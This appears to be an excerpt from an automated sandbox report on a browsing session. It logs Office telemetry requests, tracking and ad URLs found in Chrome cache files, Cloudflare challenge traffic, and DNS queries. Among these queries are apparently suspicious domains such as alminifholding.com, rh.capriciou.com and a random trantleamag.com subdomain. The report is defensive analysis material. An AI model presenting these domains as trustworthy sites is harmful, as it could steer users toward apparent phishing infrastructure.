Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net

Source: chromecache_287.2.dr, chromecache_154.2.dr	String found in binary or memory: Math.round(q);t["gtm.videoElapsedTime"]=Math.round(f);t["gtm.videoPercent"]=r;t["gtm.videoVisible"]=u;return t},rk:function(){e=pb()},zd:function(){d()}}};var Yb=ka(["data-gtm-yt-inspected-"]),nD=["www.youtube.com","www.youtube-nocookie.com"],oD,pD=!1; equals www.youtube.com (Youtube)
Source: chromecache_213.2.dr, chromecache_214.2.dr, chromecache_262.2.dr, chromecache_203.2.dr	String found in binary or memory: c?"runIfCanceled":"runIfUncanceled",[]);if(!g.length)return!0;var k=UA(a,c,e);S(121);if(k["gtm.elementUrl"]==="https://www.facebook.com/tr/")return S(122),!0;if(d&&f){for(var m=Ab(b,g.length),n=0;n<g.length;++n)g[n](k,m);return m.done}for(var p=0;p<g.length;++p)g[p](k,function(){});return!0},XA=function(){var a=[],b=function(c){return db(a,function(d){return d.form===c})};return{store:function(c,d){var e=b(c);e?e.button=d:a.push({form:c,button:d})},get:function(c){var d=b(c);return d?d.button:null}}}, equals www.facebook.com (Facebook)
Source: chromecache_287.2.dr, chromecache_154.2.dr	String found in binary or memory: if(!(e\|\|f\|\|g\|\|k.length\|\|m.length))return;var p={Ah:e,yh:f,zh:g,ii:k,ji:m,Qe:n,Ib:b},q=C.YT;if(q)return q.ready&&q.ready(d),b;var r=C.onYouTubeIframeAPIReady;C.onYouTubeIframeAPIReady=function(){r&&r();d()};G(function(){for(var u=E.getElementsByTagName("script"),v=u.length,t=0;t<v;t++){var w=u[t].getAttribute("src");if(yD(w,"iframe_api")\|\|yD(w,"player_api"))return b}for(var x=E.getElementsByTagName("iframe"),y=x.length,A=0;A<y;A++)if(!pD&&wD(x[A],p.Qe))return oc("https://www.youtube.com/iframe_api"), equals www.youtube.com (Youtube)
Source: chromecache_261.2.dr, chromecache_213.2.dr, chromecache_214.2.dr, chromecache_292.2.dr, chromecache_260.2.dr, chromecache_262.2.dr, chromecache_203.2.dr, chromecache_193.2.dr, chromecache_204.2.dr, chromecache_158.2.dr	String found in binary or memory: return b}lD.F="internal.enableAutoEventOnTimer";var Yb=ka(["data-gtm-yt-inspected-"]),nD=["www.youtube.com","www.youtube-nocookie.com"],oD,pD=!1; equals www.youtube.com (Youtube)
Source: chromecache_213.2.dr, chromecache_214.2.dr, chromecache_262.2.dr, chromecache_203.2.dr	String found in binary or memory: var AC=function(a,b,c,d,e){var f=rA("fsl",c?"nv.mwt":"mwt",0),g;g=c?rA("fsl","nv.ids",[]):rA("fsl","ids",[]);if(!g.length)return!0;var k=wA(a,"gtm.formSubmit",g),m=a.action;m&&m.tagName&&(m=a.cloneNode(!1).action);S(121);if(m==="https://www.facebook.com/tr/")return S(122),!0;k["gtm.elementUrl"]=m;k["gtm.formCanceled"]=c;a.getAttribute("name")!=null&&(k["gtm.interactedFormName"]=a.getAttribute("name"));e&&(k["gtm.formSubmitElement"]=e,k["gtm.formSubmitElementText"]=e.value);if(d&&f){if(!dz(k,fz(b, equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: alminifholding.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: rh.capriciou.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: vzfk6vqaoyt1ogzrbn8cfpyijhdyeg3w9aipyubaquurdytz2nlu4zqaku.trantleamag.com
Source: global traffic	DNS traffic detected: DNS query: www.etsy.com
Source: global traffic	DNS traffic detected: DNS query: i.etsystatic.com
Source: global traffic	DNS traffic detected: DNS query: www.dwin1.com
Source: global traffic	DNS traffic detected: DNS query: trkn.us
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: s.pinimg.com
Source: global traffic	DNS traffic detected: DNS query: web.btncdn.com
Source: global traffic	DNS traffic detected: DNS query: resources.xg4ken.com
Source: global traffic	DNS traffic detected: DNS query: cdn.pdst.fm
Source: global traffic	DNS traffic detected: DNS query: analytics.tiktok.com
Source: global traffic	DNS traffic detected: DNS query: pt.ispot.tv
Source: global traffic	DNS traffic detected: DNS query: analytics.google.com
Source: global traffic	DNS traffic detected: DNS query: td.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: 8666735.fls.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: 9910951.fls.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: ad.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: lantern.roeyecdn.com
Source: global traffic	DNS traffic detected: DNS query: google.com
Source: global traffic	DNS traffic detected: DNS query: pixels.spotify.com
Source: global traffic	DNS traffic detected: DNS query: googleads.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: ct.pinterest.com
Source: global traffic	DNS traffic detected: DNS query: stats.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: lantern.roeye.com
Source: global traffic	DNS traffic detected: DNS query: pixel.streetmetrics.io
Source: global traffic	DNS traffic detected: DNS query: tags.w55c.net
Source: global traffic	DNS traffic detected: DNS query: adservice.google.com
Source: global traffic	DNS traffic detected: DNS query: insight.adsrvr.org
Source: global traffic	DNS traffic detected: DNS query: js.adsrvr.org
Source: global traffic	DNS traffic detected: DNS query: cm.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: match.adsrvr.org
Source: global traffic	DNS traffic detected: DNS query: ib.adnxs.com
Source: global traffic	DNS traffic detected: DNS query: pixel.rubiconproject.com
Source: global traffic	DNS traffic detected: DNS query: dsum-sec.casalemedia.com
Source: global traffic	DNS traffic detected: DNS query: x.bidswitch.net
Source: global traffic	DNS traffic detected: DNS query: simage2.pubmatic.com
Source: global traffic	DNS traffic detected: DNS query: d.agkn.com

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1888641786:1730999922:sZMMjrljib3Ah-ZPRoL_Nqj62RI1QKUnYVwOIOxtiuY/8def6751cf07e7a6/jCrTDp5mH7IPQ.XokFVcaJ.lGZZNyttWPsGCaoPzCbc-1731004321-1.1.1.1-eC1A3ZZHnP397vfP33FmcEcmnsz8wNnC8jnQC8T8ln6lDiN3l1rddG_FCxdeVbFm HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3010sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-type: application/x-www-form-urlencodedsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36CF-Challenge: jCrTDp5mH7IPQ.XokFVcaJ.lGZZNyttWPsGCaoPzCbc-1731004321-1.1.1.1-eC1A3ZZHnP397vfP33FmcEcmnsz8wNnC8jnQC8T8ln6lDiN3l1rddG_FCxdeVbFmsec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/it6ud/0x4AAAAAAAaj0rear9JdQVOM/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 07 Nov 2024 18:32:03 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BJiRqdLrn7qK93fyJmIhl0z8Jb%2FZLQ6hHoMwbl7YStgxBkXDV678GIJ3QRnxQtm%2FAhg7JsIVv8Sn4VoRipC3AV0Ad3Wr1i1GJkLSf7Ucwlo%2FdDjKtFNTSCxkQUlHTA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1139&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2823&recv_bytes=2236&delivery_rate=2496551&cwnd=251&unsent_bytes=0&cid=b81d8beec27e5612&ts=18&x=0"CF-Cache-Status: EXPIREDServer: cloudflareCF-RAY: 8def675a49f5e997-DFWserver-timing: cfL4;desc="?proto=TCP&rtt=1408&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1894&delivery_rate=2065620&cwnd=250&unsent_bytes=0&cid=4ded759429830933&ts=7376&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 07 Nov 2024 18:32:05 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: eLsmOHd1uuzQbzR79r7IiGuMghjv+rcS5wY=$csqzrLWrTGpGrV4Tcache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8def67680fd06c4a-DFWalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 07 Nov 2024 18:32:09 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: AaoatgCnDNw0YPYbQ+/b3HnkKgNJm3Mo5JU=$8hrdVLLlfCen5V3DServer: cloudflareCF-RAY: 8def6783bd1045ff-DFWalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 07 Nov 2024 18:32:28 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: tMRsddPMvO+Fp8O/++MmWYmmlJ77WU/JVCs=$CDrIRDlXx/izs9kBServer: cloudflareCF-RAY: 8def67fc6823ddb4-DFWalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Founddate: Thu, 07 Nov 2024 18:32:42 GMTserver: envoyContent-Length: 0strict-transport-security: max-age=31536000x-content-type-options: nosniffVia: HTTP/2 edgeproxy, 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close

Source: chromecache_171.2.dr, chromecache_199.2.dr	String found in binary or memory: https://accounts.google.com/gsi/
Source: chromecache_171.2.dr, chromecache_199.2.dr	String found in binary or memory: https://accounts.google.com/gsi/button
Source: chromecache_171.2.dr, chromecache_199.2.dr	String found in binary or memory: https://accounts.google.com/gsi/fedcm.json
Source: chromecache_171.2.dr, chromecache_199.2.dr	String found in binary or memory: https://accounts.google.com/gsi/fedcmcsp?client_id=
Source: chromecache_171.2.dr, chromecache_199.2.dr	String found in binary or memory: https://accounts.google.com/gsi/iframe/select
Source: chromecache_199.2.dr	String found in binary or memory: https://accounts.google.com/gsi/log
Source: chromecache_171.2.dr, chromecache_199.2.dr	String found in binary or memory: https://accounts.google.com/gsi/revoke
Source: chromecache_171.2.dr, chromecache_199.2.dr	String found in binary or memory: https://accounts.google.com/gsi/select
Source: chromecache_171.2.dr, chromecache_199.2.dr	String found in binary or memory: https://accounts.google.com/gsi/status
Source: chromecache_171.2.dr, chromecache_199.2.dr	String found in binary or memory: https://accounts.google.com/gsi/style
Source: chromecache_171.2.dr, chromecache_199.2.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/iframe
Source: chromecache_199.2.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/v2/auth
Source: chromecache_158.2.dr	String found in binary or memory: https://ad.doubleclick.net
Source: chromecache_261.2.dr, chromecache_292.2.dr, chromecache_260.2.dr, chromecache_193.2.dr, chromecache_204.2.dr, chromecache_158.2.dr	String found in binary or memory: https://ade.googlesyndication.com
Source: chromecache_241.2.dr	String found in binary or memory: https://adservice.google.com/ddm/fls/z/dc_pre=CLiMnODtyokDFWePgwcd3HorjA;src=8666735;type=count0;cat
Source: chromecache_158.2.dr	String found in binary or memory: https://adservice.google.com/pagead/regclk?
Source: chromecache_288.2.dr, chromecache_259.2.dr	String found in binary or memory: https://api.usebutton.com
Source: chromecache_261.2.dr, chromecache_213.2.dr, chromecache_214.2.dr, chromecache_287.2.dr, chromecache_154.2.dr, chromecache_292.2.dr, chromecache_260.2.dr, chromecache_262.2.dr, chromecache_203.2.dr, chromecache_193.2.dr, chromecache_204.2.dr, chromecache_158.2.dr	String found in binary or memory: https://cct.google/taggy/agent.js
Source: chromecache_288.2.dr, chromecache_259.2.dr	String found in binary or memory: https://cdn.usebutton.com/web-widgets/SmsCollectionV1.html
Source: chromecache_249.2.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js
Source: chromecache_165.2.dr, chromecache_150.2.dr, chromecache_163.2.dr, chromecache_231.2.dr	String found in binary or memory: https://ct.pinterest.com/stats/
Source: chromecache_174.2.dr	String found in binary or memory: https://datadome.co
Source: chromecache_171.2.dr, chromecache_199.2.dr	String found in binary or memory: https://developers.google.com/identity/gsi/web/guides/fedcm-migration
Source: chromecache_171.2.dr, chromecache_199.2.dr	String found in binary or memory: https://developers.google.com/identity/gsi/web/guides/fedcm-migration?s=dc#cross_origin)
Source: chromecache_171.2.dr, chromecache_199.2.dr	String found in binary or memory: https://developers.google.com/identity/gsi/web/guides/fedcm-migration?s=dc#display_moment
Source: chromecache_171.2.dr, chromecache_199.2.dr	String found in binary or memory: https://developers.google.com/identity/gsi/web/guides/fedcm-migration?s=dc#skipped_moment
Source: chromecache_167.2.dr	String found in binary or memory: https://dsum-sec.casalemedia.com/rum?cm_dsp_id=39&external_user_id=fd63d340-783d-4cb2-bfc1-23af0054f
Source: chromecache_158.2.dr	String found in binary or memory: https://google.com
Source: chromecache_158.2.dr	String found in binary or memory: https://googleads.g.doubleclick.net
Source: chromecache_167.2.dr	String found in binary or memory: https://ib.adnxs.com/getuid?https%3a%2f%2fmatch.adsrvr.org%2ftrack%2fcmf%2fappnexus%3fttd%3d1%26anid
Source: chromecache_241.2.dr	String found in binary or memory: https://insight.adsrvr.org/track/up
Source: chromecache_167.2.dr	String found in binary or memory: https://js.adsrvr.org/universal_pixel.1.1.0.js
Source: chromecache_265.2.dr, chromecache_276.2.dr	String found in binary or memory: https://lantern.roeye.com/track.php?
Source: chromecache_171.2.dr, chromecache_199.2.dr	String found in binary or memory: https://meet.google.com
Source: chromecache_171.2.dr, chromecache_199.2.dr	String found in binary or memory: https://oauth2.googleapis.com/revoke
Source: chromecache_158.2.dr	String found in binary or memory: https://pagead2.googlesyndication.com
Source: chromecache_212.2.dr	String found in binary or memory: https://pagead2.googlesyndication.com/pagead/gen_204/?id=turtlex_join_ig&tx_jig=$
Source: chromecache_261.2.dr, chromecache_213.2.dr, chromecache_214.2.dr, chromecache_287.2.dr, chromecache_154.2.dr, chromecache_292.2.dr, chromecache_260.2.dr, chromecache_262.2.dr, chromecache_203.2.dr, chromecache_193.2.dr, chromecache_204.2.dr, chromecache_158.2.dr	String found in binary or memory: https://pagead2.googlesyndication.com/pagead/gen_204?id=tcfe
Source: chromecache_167.2.dr	String found in binary or memory: https://pixel.rubiconproject.com/tap.php?v=8981&nid=2307&put=fd63d340-783d-4cb2-bfc1-23af0054f694&gd
Source: chromecache_292.2.dr, chromecache_158.2.dr	String found in binary or memory: https://s.pinimg.com/ct/core.js
Source: chromecache_231.2.dr	String found in binary or memory: https://s.pinimg.com/ct/lib/main.be180668.js
Source: chromecache_287.2.dr, chromecache_154.2.dr	String found in binary or memory: https://stats.g.doubleclick.net/g/collect
Source: chromecache_212.2.dr, chromecache_261.2.dr, chromecache_213.2.dr, chromecache_214.2.dr, chromecache_287.2.dr, chromecache_154.2.dr, chromecache_292.2.dr, chromecache_260.2.dr, chromecache_262.2.dr, chromecache_203.2.dr, chromecache_193.2.dr, chromecache_204.2.dr, chromecache_158.2.dr	String found in binary or memory: https://td.doubleclick.net
Source: chromecache_288.2.dr, chromecache_259.2.dr	String found in binary or memory: https://web.usebutton.com
Source: chromecache_275.2.dr	String found in binary or memory: https://www.etsy.com/ac/evergreenVendor/js/en-US/app-shell/globals/index.928893d8732f1f834782.js.LIC
Source: chromecache_270.2.dr, chromecache_224.2.dr	String found in binary or memory: https://www.etsy.com/ac/evergreenVendor/js/en-US/etsy_libs.6f2bc648a336d3e52761.js.LICENSE
Source: chromecache_284.2.dr, chromecache_220.2.dr	String found in binary or memory: https://www.etsy.com/ac/evergreenVendor/js/en-US/vendor_bundle.051a2557fd322e046abd.js.LICENSE
Source: chromecache_206.2.dr, chromecache_232.2.dr	String found in binary or memory: https://www.etsy.com/ac/evergreenVendor/js/en-US/vesta_homepage/bootstrap.9dfe088c54b7c914b716.js.LI
Source: chromecache_270.2.dr, chromecache_224.2.dr	String found in binary or memory: https://www.etsy.com/sourcemaps/evergreenVendor/en-US/etsy_libs.6f2bc648a336d3e52761.js.map
Source: chromecache_284.2.dr, chromecache_220.2.dr	String found in binary or memory: https://www.etsy.com/sourcemaps/evergreenVendor/en-US/vendor_bundle.051a2557fd322e046abd.js.map
Source: chromecache_206.2.dr, chromecache_232.2.dr	String found in binary or memory: https://www.etsy.com/sourcemaps/evergreenVendor/en-US/vesta_homepage/bootstrap.9dfe088c54b7c914b716.
Source: chromecache_170.2.dr, chromecache_155.2.dr	String found in binary or memory: https://www.etsy.com/sourcemaps/evergreenVendor/en-US/vesta_homepage/search_bubbles.a18c2a5238135251
Source: chromecache_158.2.dr	String found in binary or memory: https://www.google.com
Source: chromecache_158.2.dr	String found in binary or memory: https://www.googleadservices.com
Source: chromecache_158.2.dr	String found in binary or memory: https://www.googletagmanager.com
Source: chromecache_213.2.dr, chromecache_214.2.dr, chromecache_287.2.dr, chromecache_154.2.dr, chromecache_292.2.dr, chromecache_262.2.dr, chromecache_203.2.dr, chromecache_158.2.dr	String found in binary or memory: https://www.googletagmanager.com/a?
Source: chromecache_261.2.dr, chromecache_292.2.dr, chromecache_260.2.dr, chromecache_193.2.dr, chromecache_204.2.dr, chromecache_158.2.dr	String found in binary or memory: https://www.googletagmanager.com/dclk/ns/v1.js
Source: chromecache_213.2.dr, chromecache_214.2.dr, chromecache_287.2.dr, chromecache_154.2.dr, chromecache_292.2.dr, chromecache_262.2.dr, chromecache_203.2.dr, chromecache_158.2.dr	String found in binary or memory: https://www.googletagmanager.com/static/service_worker/
Source: chromecache_287.2.dr, chromecache_154.2.dr	String found in binary or memory: https://www.merchant-center-analytics.goog
Source: chromecache_254.2.dr	String found in binary or memory: https://www.pinterest.com
Source: chromecache_287.2.dr, chromecache_154.2.dr	String found in binary or memory: https://www.youtube.com/iframe_api

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50211 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50177 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
